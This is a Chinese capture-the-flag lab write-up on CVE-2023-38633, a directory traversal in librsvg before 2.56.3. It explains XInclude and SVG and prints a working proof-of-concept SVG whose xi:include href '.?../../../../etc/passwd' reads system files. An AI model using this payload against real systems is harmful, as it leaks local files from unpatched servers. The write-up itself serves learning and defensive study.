【春秋云镜】CVE-2023-38633

靶场介绍:

一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=".?../../../../../../../../../../etc/passwd" 来读取结果。

 

 解题步骤:

首先根据这个元素可以查一下这是什么

用于合并XML文档的通用机制,通过在“主”文档中编写包含标记来自动包含其他文档或其他部分。生成的文档成为单个复合XML信息集XInclude机制可用于合并XML文件非XML文本文件中的内容。是xml标记语言中包含其他文件的方式

<html  xmlns = "http://www.w3.org/1999/xhtml"
      xmlns:xi ="http://www.w3.org/2003/XInclude"> 

这里注意到第一个属性,这个属性中的URL引用可以用来模糊查询文件

.?../../../../../../../../etc/passwd

这里可以模糊查询passwd文件,查看是否可以正确回显,同时可以看出这是利用xxe漏洞 ,为了把返回的内容显示出来,我们可以用svg库来让返回值以图片的形式返回

SVG

   libRSVG 是一个用于在各种平台上渲染矢量图形的库。它通常与 C++ 或 Python 等语言一起使用,并支持流行的矢量格式,如 SVG(可缩放矢量图形)和 PS(PostScript)。

   可缩放矢量图形(SVG)是一种基于XML的标记语言,用于描述二维矢量图形。与传统的像素图像不同,SVG图像在放大时不会失真,这使得它非常适合用于网页图形设计。

   SVG图像可以直接嵌入HTML文档中,成为DOM的一部分,这样就可以使用JavaScript和CSS来操作它们。所以我们把svg添加到我们构造的poc,创造一个.svg文件,包含我们需要跳转的文件

<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">  
   <rect width="600" height="600" style="fill:rgb(255,255,255);" />  
   <text x="10" y="100">  
     <xi:include href=".?../../../../../../../../etc/passwd" parse="text"   
encoding="UTF-8">  
       <xi:fallback>file not found</xi:fallback>  
     </xi:include>  
   </text>  
</svg>

 这里主要是一个svg图像文件,通过xi:include把文件包含进去,注意图片要大一些,不然信息回显不完整

 回显成功,读取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值